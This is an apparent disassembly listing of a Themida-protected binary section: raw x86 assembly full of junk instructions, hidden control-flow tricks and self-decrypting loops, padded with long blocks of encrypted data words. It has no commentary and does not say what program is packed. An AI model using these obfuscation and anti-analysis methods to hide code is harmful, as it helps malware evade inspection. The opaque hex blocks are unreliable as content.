dd 66E58CA3h, 6D80EB81h, 0FF51E95Bh, 0AB93FFFFh, 0DBDEA94Dh
dd 0B37C077Ch, 0E846046Bh, 0Ah, 5D933AF1h, 4DF57707h, 0B70FECC3h
dd 10E95BF8h, 81000000h, 8A5E14EDh, 72FB698Bh, 3DA1BF8Fh
dd 815E49D0h, 7173C3h, 33D38A00h, 8BF18BC9h, 9E90B04h
dd 89000000h, 0CE487033h, 0F6818263h, 0E4AFF081h, 0B70F1926h
dd 17C081F6h, 0BA6211F1h, 1E771E9Eh, 6E70F081h, 0BE66332Fh
dd 489EE45h, 5E9F90Bh, 0A0000000h, 4312F810h, 4901E983h
dd 0F9814949h, 0FFFF8F20h, 0FFB1850Fh, 13E8FFFFh, 84000000h
dd 0D6450235h, 0FB300D4Bh, 8D25072Bh, 0FD953A8Bh, 8B5FFEE7h
dd 8DBD83C0h, 61015h, 0BD830975h, 6100095h, 50197400h
dd 0B8C08B53h, 421h, 0E658589h, 9D8D0610h, 612B815h, 585BD3FFh
dd 95BD83h, 74000610h, 0B8535017h, 421h, 0E658589h, 9D8D0610h
dd 612B504h, 585BD3FFh, 9D8BC08Bh, 6101FD5h, 23E585C6h
dd 68560610h, 9CA8B852h, 1D45B5FFh, 858D0610h, 613858Ah
dd 46AD0FFh, 100068h, 0D9B5FF00h, 6A061032h, 85D0FF00h
dd 0D850FC0h, 0B8000000h, 0
; ---------------------------------------------------------------------------
lea ecx, [ebp+61073A3h]
jmp ecx
; ---------------------------------------------------------------------------
mov ecx, eax
mov eax, ebx
add eax, [eax+3Ch]
add eax, 0F8h
mov edx, [eax+0Ch]
add edx, ebx
cmp dword ptr [ebp+6100F51h], 0
jz loc_5C0E88
mov ebx, [ebp+6100F51h]
mov eax, [ebp+61015E9h]
mov [ebx], eax
loc_5C0E88: ; CODE XREF: Themida_:005C0E74j
push ecx
push edx
lea eax, [ebp+61042D8h]
call eax
mov edi, edx
mov esi, ecx
mov edx, ecx
mov ecx, eax
rep movsb
mov byte ptr [ebp+61023E5h], 56h
push 0D41F6D39h
push dword ptr [ebp+6101D45h]
lea eax, [ebp+613858Ah]
call eax
push 8000h
push 0
push edx
call eax
mov eax, eax
cmp dword ptr [ebp+610158Dh], 0
jnz short loc_5C0ED4
cmp dword ptr [ebp+6100095h], 0
jz short loc_5C0EED
loc_5C0ED4: ; CODE XREF: Themida_:005C0EC9j
push eax
push ebx
mov eax, eax
mov eax, 421h
mov [ebp+610132Dh], eax
lea ebx, [ebp+612B87Ch]
call ebx
pop ebx
pop eax
loc_5C0EED: ; CODE XREF: Themida_:005C0ED2j
cmp dword ptr [ebp+6100095h], 0
jz short loc_5C0F0D
push eax
push ebx
mov eax, 421h
mov [ebp+610132Dh], eax
lea ebx, [ebp+612B51Dh]
call ebx
pop ebx
pop eax
loc_5C0F0D: ; CODE XREF: Themida_:005C0EF4j
mov eax, eax
lea ebx, [ebp+6100F51h]
mov eax, [ebx]
or eax, eax
jz loc_5C0F26
mov eax, [ebx]
mov ebx, [ebx+4]
mov [eax], ebx
loc_5C0F26: ; CODE XREF: Themida_:005C0F19j
mov eax, 4B41h
call sub_5C0F43
scasd
pop edi
daa
mov edx, 0A4F41CA7h
inc esp
das
mov ah, 56h
push ebp
sbb esi, ebx
mov edi, [ebp+3Bh]
; =============== S U B R O U T I N E =======================================
sub_5C0F43 proc near ; CODE XREF: Themida_:005C0F2Bp
and edx, 424ED29Ch
pop eax
call sub_5C0F60
xor al, [ebx]
pop ebp
aaa
retn 0A374h
sub_5C0F43 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 7139h
dd 0B0739AA4h, 2E049393h
; =============== S U B R O U T I N E =======================================
sub_5C0F60 proc near ; CODE XREF: sub_5C0F43+7p
jge loc_5C0F68
pusha
popa
loc_5C0F68: ; CODE XREF: sub_5C0F60j
pop edx
add eax, 0E811h
mov di, 1D07h
push 0
pusha
pusha
mov bl, dh
push ecx
pop ebx
popa
popa
pop esi
and dh, 89h
loc_5C0F84: ; CODE XREF: sub_5C0F60+89j
push dword ptr [esi+eax]
jnz loc_5C0F97
jnz loc_5C0F97
mov di, 351h
loc_5C0F97: ; CODE XREF: sub_5C0F60+27j
; sub_5C0F60+2Dj
pop ecx
adc bx, 0CA6Eh
sub ecx, 267F66B9h
stc
xor ecx, 20A74783h
mov di, 0CEE8h
add ecx, 2ACCC123h
sbb ebx, 7FCE69Fh
push ecx
mov dx, 0D521h
pop dword ptr [eax+esi]
mov edi, esi
jnp loc_5C0FD0
sbb edi, 1750A196h
loc_5C0FD0: ; CODE XREF: sub_5C0F60+64j
sub esi, 5D7AF0B6h
mov di, 5AA0h
add esi, 5D7AF0B2h
sbb bh, 0Fh
cmp esi, 0FFFF18ACh
jnz loc_5C0F84
mov bl, ah
call sub_5C0FFF
adc esp, ecx
mov dl, 94h
pop es
test bl, ah
cmc
movsb
sub_5C0F60 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5C0FFF proc near ; CODE XREF: sub_5C0F60+91p
jmp sub_5C1013
sub_5C0FFF endp
; ---------------------------------------------------------------------------
dd 6FE0DD6Bh, 3AE4A8A9h, 1CF20108h
db 51h, 1Dh, 54h
; =============== S U B R O U T I N E =======================================
sub_5C1013 proc near ; CODE XREF: sub_5C0FFFj
; FUNCTION CHUNK AT 005C10CA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005C10DF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005C1101 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005C1112 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005C1132 SIZE 00000011 BYTES
pop esi
cld
add esi, 6638h
jnz loc_5C1024
movzx ecx, cx
loc_5C1024: ; CODE XREF: sub_5C1013+8j
push 0
pusha
jmp loc_5C103C
; ---------------------------------------------------------------------------
db 49h
dd 8344C586h, 0D0956F7Ch, 0EC316951h
; ---------------------------------------------------------------------------
loc_5C103C: ; CODE XREF: sub_5C1013+17j
mov dx, di
popa
pop ebx
jmp loc_5C105A
; ---------------------------------------------------------------------------
dw 473Eh
dd 0AAD27B67h, 9A3F409Bh, 8E55CD3Ch, 2874B18Eh
; ---------------------------------------------------------------------------
mov bh, 74h
loc_5C105A: ; CODE XREF: sub_5C1013+2Ej
push dword ptr [ebx+esi]
jmp loc_5C106E
; ---------------------------------------------------------------------------
fdiv st(6), st
pop esp
inc ebp
add cl, dl
jmp short loc_5C10CA
; ---------------------------------------------------------------------------
dw 79Ah
db 7Ah, 0A0h
; ---------------------------------------------------------------------------
loc_5C106E: ; CODE XREF: sub_5C1013+4Aj
pop eax
cld
xor eax, 276BFDD5h
cmc
xor eax, 0DD83FA7h
and cl, 0ABh
sub eax, 602FAF61h
call near ptr loc_5C109A+5
push ebp
cmp [edx+edx*2+4Fh], dl
xchg dh, bl
mov dl, 3Eh
sub al, 9Bh
repne push ds
loope locret_5C10F1
loc_5C109A: ; CODE XREF: sub_5C1013+73p
jmp far ptr 0BF66h:5FC80E45h
sub_5C1013 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov al, 4Eh
pop edx
push eax
pop dword ptr [esi+ebx]
jmp loc_5C10C1
; ---------------------------------------------------------------------------
dd offset dword_4CBB28+0ED7h
db 0DEh, 6Ch, 0A3h
dd 0DAFD8631h, 4E98B989h, 62517BFCh
db 23h
; ---------------------------------------------------------------------------
loc_5C10C1: ; CODE XREF: Themida_:005C10A8j
mov edx, 0CC12BB9h
sub ebx, 2
; ---------------------------------------------------------------------------
db 66h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5C1013
loc_5C10CA: ; CODE XREF: sub_5C1013+55j
mov edi, eax
dec ebx
dec ebx
pusha
or bh, 0Ah
jmp loc_5C10DF
; END OF FUNCTION CHUNK FOR sub_5C1013
; ---------------------------------------------------------------------------
xchg eax, edx
fcomi st, st
mov dl, 0Dh
mov cl, 39h
pop es
; START OF FUNCTION CHUNK FOR sub_5C1013
loc_5C10DF: ; CODE XREF: sub_5C1013+BFj
popa
cmp ebx, 0FFFF9B00h
jnz loc_5C1112
jmp loc_5C1101
; ---------------------------------------------------------------------------
locret_5C10F1: ; CODE XREF: sub_5C1013+85j
iret
; END OF FUNCTION CHUNK FOR sub_5C1013
; ---------------------------------------------------------------------------
dw 0FAF7h
dd 7A2BD0EFh, 0D784E00Ch, 55919D25h
; ---------------------------------------------------------------------------
cli
; START OF FUNCTION CHUNK FOR sub_5C1013
loc_5C1101: ; CODE XREF: sub_5C1013+D9j
jmp loc_5C1132
; END OF FUNCTION CHUNK FOR sub_5C1013
; ---------------------------------------------------------------------------
dw 64C9h
dd 1A2F4A9Bh, 0CB2D885Dh
; ---------------------------------------------------------------------------
add eax, esp
; START OF FUNCTION CHUNK FOR sub_5C1013
loc_5C1112: ; CODE XREF: sub_5C1013+D3j
call near ptr locret_5C111A+2
cdq
in eax, dx
pop esp
locret_5C111A: ; CODE XREF: sub_5C1013:loc_5C1112p
retn 815Bh
; END OF FUNCTION CHUNK FOR sub_5C1013
; ---------------------------------------------------------------------------
db 0D9h, 3, 65h
dd 0E95F50ECh, 0FFFFFF32h, 62774E95h, 95B10D9h
db 8Eh, 3Ah
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5C1013
loc_5C1132: ; CODE XREF: sub_5C1013:loc_5C1101j
lea ecx, [ebp+6175D98h]
push 0
push ebp
call sub_5C1143
and [ebp-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_5C1013
; =============== S U B R O U T I N E =======================================
sub_5C1143 proc near ; CODE XREF: sub_5C1013+128p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5C1143 endp
; ---------------------------------------------------------------------------
mov ch, 0BAh
dec ebp
mov [ebp+61009F5h], ecx
push ecx
jbe loc_5C1168
mov edx, 10AA1161h
loc_5C1168: ; CODE XREF: Themida_:005C115Dj
pop edi
mov si, ax
mov dword ptr [ebp+6102319h], 683Ch
push 0
push ebx
call sub_5C1181
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C1181 proc near ; CODE XREF: Themida_:005C1179p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5C1181 endp
; ---------------------------------------------------------------------------
jnz short near ptr loc_5C1201+1
xor al, 47h
dec ebp
lea esp, [ebx]
jb short loc_5C1201
mov dword ptr [ebp+61022C1h], 0
mov [ebp+6101C41h], edi
push dword ptr [ebp+61030C5h]
pusha
sbb ax, 0FFBDh
xor [ebp+6102EFDh], ecx
popa
pusha
jmp loc_5C11CB
; ---------------------------------------------------------------------------
db 0FCh
dd 4DD54B1Eh
db 23h, 0B2h, 0Eh
; ---------------------------------------------------------------------------
loc_5C11CB: ; CODE XREF: Themida_:005C11BEj
popa
call dword ptr [ebp+6102DB9h]
push 0
push ecx
call sub_5C11DD
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C11DD proc near ; CODE XREF: Themida_:005C11D5p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5C11DD endp
; ---------------------------------------------------------------------------
db 6, 72h, 2Ch
dd 0BB666ECFh, 0E781540Eh, 1FEB57BBh, 95FF006Ah
; ---------------------------------------------------------------------------
leave
loc_5C1201: ; CODE XREF: Themida_:005C1198j
; Themida_:005C1191j
xor [eax], edx
loc_5C1203: ; DATA XREF: Themida_:0054D0ACo
; Themida_:0054E368o
push es
mov eax, eax
jmp short loc_5C1244
; ---------------------------------------------------------------------------
dd 3746288h, 88A82DFFh, 92654B8Eh, 90A1689Dh, 0E411EC62h
dd 608091Dh, 3C978420h, 0F2D0E058h, 47A8F2B5h, 0A0C26B21h
dd 73A1DDB2h, 9CE67581h, 0F211F234h, 0C835AA8Ch, 0F9F8FD2Ch
; ---------------------------------------------------------------------------
loc_5C1244: ; CODE XREF: Themida_:005C1206j
lea ecx, [ebp+6175E59h]
push 0
push ebx
call sub_5C1255
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C1255 proc near ; CODE XREF: Themida_:005C124Dp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5C1255 endp
; ---------------------------------------------------------------------------
db 0A1h, 4Dh, 0B7h
; ---------------------------------------------------------------------------
add edx, [eax-749D39CCh]
popf
mov cl, 1Fh
adc [esi], al
mov [ebp+61009F5h], ecx
sub [ebp+6100D41h], ecx
mov dword ptr [ebp+6102319h], 6534h
mov [ebp+6101159h], edi
mov dword ptr [ebp+61022C1h], 0
mov [ebp+610298Dh], edi
mov [ebp+610336Dh], ecx
push dword ptr [ebp+61008A1h]
cld
loc_5C12AC: ; CODE XREF: Themida_:005C12DAj
call dword ptr [ebp+6102DB9h]
push edi
sub [ebp+61020A9h], ecx
pop edi
movzx ebx, ax
push 0
loc_5C12BF: ; DATA XREF: Themida_:0054DF04o
; Themida_:0054E7D8o
call dword ptr [ebp+61031C9h]
mov eax, eax
jmp short loc_5C1328
; ---------------------------------------------------------------------------
wait ; (emulator call)
and al, 0B7h
push eax
rol byte ptr [edx+28879AE0h], 1
xor [esi+edx*8], cl
or al, 0BCh
scasb
jecxz short loc_5C12AC
mov edi, 0E380FE38h
add byte ptr [ecx], 0A4h
stosb
std
xchg eax, esi
retf
; ---------------------------------------------------------------------------
dd 0B01EF392h, 9163B314h, 0F03C4A3h, 1047A1E9h, 0F7369AF9h
dd 0C670F1ABh, 0D1662E96h, 0D9EB7851h, 3E2CB32Fh, 0B48FE166h
dd 0F3628176h, 0E2A867EEh, 0E3767663h, 0B49EB158h, 0A17877h
dd 63F38D1Dh
; ---------------------------------------------------------------------------
loc_5C1328: ; CODE XREF: Themida_:005C12C7j
jmp loc_5C1368
; ---------------------------------------------------------------------------
pusha
mov edi, [ebp+61030A9h]
sub edi, 4
xor ecx, ecx
loc_5C1339: ; CODE XREF: Themida_:005C1360j
mov eax, ecx
mov ebx, 0EDB88320h
add edi, 4
mov esi, 8
loc_5C1348: ; CODE XREF: Themida_:005C1351j
shr eax, 1
sbb edx, edx
and edx, ebx
xor eax, edx
dec esi
jnz loc_5C1348
inc ecx
mov [edi], eax
cmp ecx, 100h
jb loc_5C1339
popa
retn
; ---------------------------------------------------------------------------
loc_5C1368: ; CODE XREF: Themida_:loc_5C1328j
mov ecx, eax
lea ebx, [ebp+6102FC5h]
mov eax, 13A8h
mov [ebp+6101ED9h], eax
call $+5
pop eax
add eax, 0Dh
mov [ebx], eax
jmp loc_5C2735
; ---------------------------------------------------------------------------
byte_5C138D db 3 dup(0) ; DATA XREF: Themida_:0054E430o
dd 4E7h dup(0)
db 0
byte_5C272D db 3 dup(0) ; DATA XREF: Themida_:0054C37Co
dd 0
db 0
; ---------------------------------------------------------------------------
loc_5C2735: ; CODE XREF: Themida_:005C1388j
jmp loc_5C27D9
; ---------------------------------------------------------------------------
dw 0C363h
dd 974DCC80h, 0B86DEC60h, 974CCB7Fh, 0B557DE5Ah, 0B8C4C276h
dd 0F367A64Ah, 0CC80C164h, 0EA5E994Dh, 0CB7FB46Bh, 952DDCE0h
dd 716BDB0Eh, 7D32A874h, 0DAC601A5h, 0BD867A56h, 0B02C691Eh
dd 0CC7C4EF9h, 0F315B16Dh, 8CFA6D8Ah, 719237B1h, 92F112F3h
dd 0C5Ah, 215FB200h, 0C464F2Ch, 5774A7F0h, 3D8032CDh, 64995249h
dd 3A7519B0h, 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h
dd 5B943950h, 417830A7h, 0CF68CF55h, 0E9061772h, 0FFF90D0Ch
dd 75EF85B2h, 8B8131E4h, 0E1205DEh
; ---------------------------------------------------------------------------
lahf
loc_5C27D9: ; CODE XREF: Themida_:loc_5C2735j
dec dl
inc ecx
mov ecx, ds:490326A8h
mov cl, [ebx+ecx*4-2A5457F3h]
jmp far ptr 2CA8h:0D886475h
; ---------------------------------------------------------------------------
dd 0BA8A4900h, 9957AE5Dh, 548A4900h, 0ABA80D89h, 1F75EAD5h
dd 0CFA80D89h, 998A4901h, 49A80D89h, 138A4906h, 0ABA80D8Eh
dd 2575EAD5h, 2031D42Fh, 0C003133Dh, 52BF22D2h, 308D90A7h
dd 0D12157B5h, 439D665Eh, 21F6D42Fh, 0C003133Dh, 52BF22DAh
dd 303C90A7h, 0D12157B5h, 439D66AAh, 22A5D42Fh, 0C003133Dh
dd 52BF2226h, 33E890A7h, 0D12157B5h, 439D66A6h, 220ED42Fh
dd 0C003133Dh, 52BF2232h, 336590A7h, 0D12157B5h, 439D66B2h
dd 2398D42Fh, 0C003133Dh, 52BF223Eh, 32FB90A7h, 0D12157B5h
dd 439D668Ah, 231AD42Fh, 0C003133Dh, 52BF2206h, 326190A7h
dd 0D12157B5h, 439D6682h, 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh
dd 458AFD4Ah, 0D5F251A2h, 52FE46C0h, 0A8ED96A4h, 458A152Ah
dd 67A02429h, 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h
dd 0CE75EAD5h, 0B13AAE63h, 848C0534h, 11AB5342h, 55FFEA22h
dd 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h
dd 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch
dd 660351A2h, 0EE27BFEAh, 0DDA7DB2Fh, 9475133Dh, 0D9020112h
dd 52031AA0h, 0EC79AEA4h, 41AE51A1h, 5B22DC09h, 0BA8C02A3h
dd 0DF103773h, 0C821732Ah, 43215E28h, 0FD5BEA2Ch, 508C152Bh
dd 4A009881h, 0ABAE462Bh, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h
dd 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h
dd 52FF06C0h, 5CDDDAA4h, 828668A1h, 54A8ADE7h, 0BACC152Ah
dd 44B4F030h, 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h
dd 52031AA0h, 0D79AEA4h, 2320949Ah, 328C551Ah, 6E218481h
dd 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h
dd 458A15C2h, 0BE290BA2h, 439D6040h, 0DFA02429h, 4D1957h
dd 54A8515Eh, 0D775532Ah, 52B84D03h, 0CE19CDA1h, 979BFC69h
dd 0EFE2A5B9h, 0D9F9FA31h, 52031AA0h, 0D79AEA4h, 2320949Ah
dd 328C651Ah, 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh
dd 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h
dd 953BFDA2h, 97B91DC9h, 0DE049191h, 454A38F2h, 0A82851A2h
dd 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h, 45869025h
dd 0A32851A2h, 8E4B7332h, 972337AAh, 38A1BE4Ch, 0A8D5D8AEh
dd 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh
dd 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h
dd 458AD507h, 0AB54D1A2h, 45939125h, 5D1151A2h, 0B28A152Ah
dd 5B7AD453h, 458A1FAFh, 5610E0A2h, 0EF4B93E2h, 7F039191h
dd 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h
dd 0DFA02429h, 4D1957h, 54A8515Eh, 9D00B92Ah, 0D4A7B222h
dd 860085E1h, 5B22DC08h, 0BA8C02A3h, 0FEF8E173h, 0CC859FA7h
dd 855757B5h, 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh
dd 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h
dd 54AFE9A2h, 0D775152Ah, 52B84F47h, 0C8204526h, 43215E28h
dd 0F55BEA2Ch, 949BFB2Bh, 2E853186h, 50AC5962h, 0EFAEA580h
dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh
dd 4DFF9E4Ah, 93A42C29h, 458AE96Fh, 0FE0451A2h, 592B87D5h
dd 8C2357B2h, 0EF491786h, 0DDA7DB2Fh, 9475133Dh, 0BD28E9C4h
dd 8600BE4Ch, 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h
dd 902BBD29h, 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h
dd 0E418EA80h, 0DFAE41BEh, 8558B9E2h, 5B32DC08h, 0BA8C02A3h
dd 94103771h, 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h
dd 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h
dd 54A851A2h, 0D775BF86h, 52B84D03h, 7726DDA1h, 0CE25FB63h
dd 439D9C25h, 0ECCE825Dh, 0EEECE4AAh, 7F029028h, 38031957h
dd 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h
dd 4D1957h, 54A8515Eh, 7732732Ah, 0D903376Bh, 52031AB0h
dd 327BAEA4h, 234B9592h, 0FE04FD09h, 0CC866801h, 0DFC9ADDFh
dd 8743E96Fh, 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h, 828668A1h
dd 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h, 0CC858FA7h, 875757B5h
dd 320A09Ah, 0CE25FB0Eh, 439D9C25h, 0ECCE825Dh, 0EEECD8ACh
dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh
dd 458AFD4Ah, 0D5F251A2h, 52F22EC0h, 0A8ED96A4h, 458A152Ah
dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h
dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah
dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h
dd 0BA8660D5h, 0CE2559D7h, 439D665Ah, 1332DCF1h, 0BA8C025Eh
dd 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h, 43DBD138h
dd 0DF07462Ch, 52BF25E5h, 3C6D5h, 5492B85Eh, 3075152Ah
dd 5CDDAEAEh, 36068FA7h, 0D9FB57B5h, 52FE52B0h, 0DD7BAEA4h
dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 0CC32DCAAh, 168C0259h
dd 20EFCB2Fh, 9675133Dh, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h
dd 4582D7E3h, 3044BAh, 0C00CEB00h, 0F355F392h, 955E6572h
dd 0E992D690h, 662h, 656E9h, 2F721400h, 0D44FC7Bh, 0EA23CA51h
dd 744E76Eh, 0E120C453h, 0D1037F6Dh, 0ED6CE01Fh, 0B83FFB3Ch
dd 0D463D712h, 4742F62Bh, 50CB675h, 0BE86BDBh, 44793241h
dd 900DE50h, 6DCC7CB9h, 6FEC015Dh, 83FE5BBh, 0F0A138ECh
dd 20C4C3AFh, 755F9D46h, 0E5DEA77h, 3B37EB07h, 0B86C6B17h
dd 590E8D79h, 6D1C421Ch, 6DCC4CD5h, 4CA61C0Fh, 0E23E6DCCh
dd 0F151382Ah, 156DCC4Ch, 5E203D19h, 0C480C267h, 154697DCh
dd 2B203A16h, 933FB620h, 84F3C80Fh, 6C834C71h, 0BE0407D9h
dd 566DCCA3h, 8A01FDDAh, 0AD1ABE2h, 0FC782C61h, 43D21FDFh
dd 0D27349FDh, 6581E591h, 0BF91B5B1h, 0CDE2ACA1h, 0E2AE7E7Dh
dd 14B81E05h, 0E84467F7h, 0AFE89D3Ch, 4C3F21FBh, 942514F6h
dd 9BD0770Eh, 7419A2B7h, 14FC4645h, 1C189425h, 14FB4742h
dd 3F1B9425h, 0E3FD6F23h, 14B40EFDh, 0D4509425h, 25149D25h
dd 0E0FD7994h, 0C157E223h, 0F433D528h, 0AAE58900h, 851C03F6h
dd 0A43B6437h, 4A8C2922h, 97F8C9CFh, 1B54F9C2h, 8DB3429Fh
dd 30BBA0D7h, 921A2F06h, 5554264Ah, 0C1F249F5h, 0F611511h
dd 8358994Ch, 63D712B8h, 0FFF32ED4h, 0B4E01958h, 56EDD64Bh
dd 6CE01BCFh, 1DB0017h, 87BAE10Ah, 0DE5D8320h, 873BEA2Bh
dd 3D2CA70Eh, 0A70EF44Eh, 5C14102Ch, 0B4139FF7h, 3D195343h
dd 0ECFE5A20h, 8AB1712h, 0B0162CA7h, 7F9AA74Bh, 4BBD2CAh
dd 233F23CFh, 0B5115846h, 582CA794h, 9061841Bh, 70F1FF4Dh
dd 0Ch, 0DE15CB8Eh, 88404309h, 8C000003h, 55417C32h, 6DAC60DBh
dd 0E9FE37EEh, 8E82BB72h, 7D26B587h, 0A2BEF9ADh, 0C65572EEh
dd 0E9C2AB2Fh, 0DCA86A1Dh, 47FBAEC0h, 9F6DCC6Ch, 792DA6C3h
dd 0ABC7FCA3h, 0C702A82Fh, 251BB8B5h, 423E1D40h, 0F5E2017Ah
dd 0E6032561h, 26054638h, 990331F0h, 0CC96805Dh, 0AC750CB7h
dd 7CC6C5F6h, 986DCCD0h, 7504B89Ch, 88C597D0h, 5B111BB0h
dd 0C7F47024h, 0B190DACBh, 4E01A611h, 0BC6A7F63h, 792D6A1Dh
dd 27CA916Fh, 0E99B3AE6h, 567AF6AAh, 0C703A281h, 5F134EF4h
dd 0B86DE603h, 1A20A289h, 68C46DCCh, 10043BF1h, 2D1E3014h
dd 0FAA0C4B7h, 0CD916609h, 0B87C0F1Eh, 41E675F1h, 37141004h
dd 7789C87Ch, 0E023FE4h, 0FA813512h, 6B6A1657h, 230270BAh
dd 2EE221C3h, 0AC9F0532h, 21458026h, 851E5145h, 65A647EEh
dd 0D480E9h, 0B9800000h, 2A02D718h, 421CC35Ch, 53C20009h
dd 7E5B0305h, 2D620980h, 4A832AB1h, 0B355E456h, 16AC5774h
dd 346DCC5Fh, 0DD65243Ah, 396DCC5Fh, 8420D734h, 7EB5C75h
dd 73B251F2h, 92BB95CEh, 0B1F71168h, 249AAF4Eh, 0BFB3F495h
dd 36EA1FC8h, 0AE62D983h, 2AC95A6Fh, 47195A0Bh, 440B1B06h
dd 688523DFh, 0EAC667EEh, 3BE70B42h, 0D66C1F41h, 2E6DCC29h
dd 0CBB7F497h, 17CC8B67h, 9236FDDAh, 80289F53h, 863E5D49h
dd 3B4A34Fh, 3BF6606Ch, 8BCC7DA4h, 65A448CFh, 0BD6AFDB1h
dd 578C3309h, 0F7ABC7ABh, 38EC2DE0h, 507C13AEh, 83A241D0h
dd 0AF26A2E1h, 85D4C0FBh, 6DCC2938h, 38F99827h, 0F9E35792h
dd 299E24E7h, 55546DCCh, 6DCC29EDh, 0F9752D09h, 7C3248E4h
dd 90365541h, 822AA155h, 8740574Bh, 7D349E52h, 7E1DDAE6h
dd 4D883EE7h, 141DA91h, 46396DCCh, 336B2E6Ah, 0FFFF074Ch
dd 0BD5CBEFFh, 3C5D4C1Eh, 0CA67FC0Ch, 11C8A24Eh, 0EF731F60h
dd 75AA61DAh, 548942B9h, 498629A0h, 0E281225Dh, 14CC9C43h
dd 0B645F9DDh, 7D2CD80Dh, 94238CC0h, 4AEB8A19h, 0C7926CA1h
dd 490DEA21h, 0AE419D2h, 0B5619A4Fh, 90EA9CB1h, 39ED22C9h
dd 36BD203Dh, 3BE0CBA5h, 0CB9E13D6h, 6F86DB4Fh, 3BEE1BD1h
dd 9E13BA87h, 3DF035Fh, 339442E9h, 304E9428h, 431C979h
dd 1C312D80h, 7F160A66h, 7854F5CBh, 84E094D5h, 0B7027B60h
dd 8C72D051h, 0C165F468h, 534A087Dh, 0BFA36BBDh, 0AA4384D3h
dd 33C43CE0h, 1BF1959Ch, 58532D66h, 0F4282DEAh, 76320E0Ah
dd 386F15A4h, 0B4F59823h, 0EA25C9C0h, 0ED136D36h, 282D843Eh
dd 0DDEF2BF4h, 1E694A6Ch, 46D5F26Eh, 71874AAFh, 0C0679986h
dd 59000000h, 3EF2EE2h, 0C4A0E184h, 4D71DA7h, 8E45225Fh
dd 0A0CD9FD6h, 0CA27C534h, 0F9BD9AC5h, 1692CB82h, 0FBAFEC9Fh
dd 9893C87Ch, 6DCCA52Ah, 0B6724ECAh, 0DA4E8D3Fh, 0F569AA5Bh
dd 9C8FC066h, 6DCCA526h, 6C7E62BEh, 5BD6C92h, 0E16DCCA5h
dd 0A52C9685h, 63C86DCCh, 0ECCA58Fh, 0B76E52A2h, 3A04D912h
dd 5BCF04BBh, 16AC5F81h, 276DCC67h, 0D7534B80h, 62973902h
dd 10F734D7h, 6DCC67B2h, 0A85FD652h, 0B8A34F73h, 0FF34EBEAh
dd 53F28113h, 5A845A66h, 0CC6713AFh, 6277F36Dh, 0CC6719A9h
dd 0AD21FD6Dh, 97F3E4C2h, 49000000h, 7C68CBE0h, 29D86DCCh
dd 0E289508Ah, 84F6D0ADh, 2DD90EB5h, 32983449h, 1087437Ah
dd 2DAC2059h, 9F813D7Ah, 533F0CAEh, 0F1989A2Dh, 0F4BF9CB8h
dd 1E9D1150h, 28AF2B6Ah, 11884485h, 0C57D2C5Dh, 216DCC68h
dd 8C4F2145h, 8DE99DD4h, 0EA14E670h, 0CC68833Fh, 0F207636Dh
dd 738DC269h, 11E5427Ah, 638819DCh, 8316B049h, 4E08E541h
dd 25D5h, 0C805DB00h, 2D830CD0h, 0FE443392h, 166DCC70h
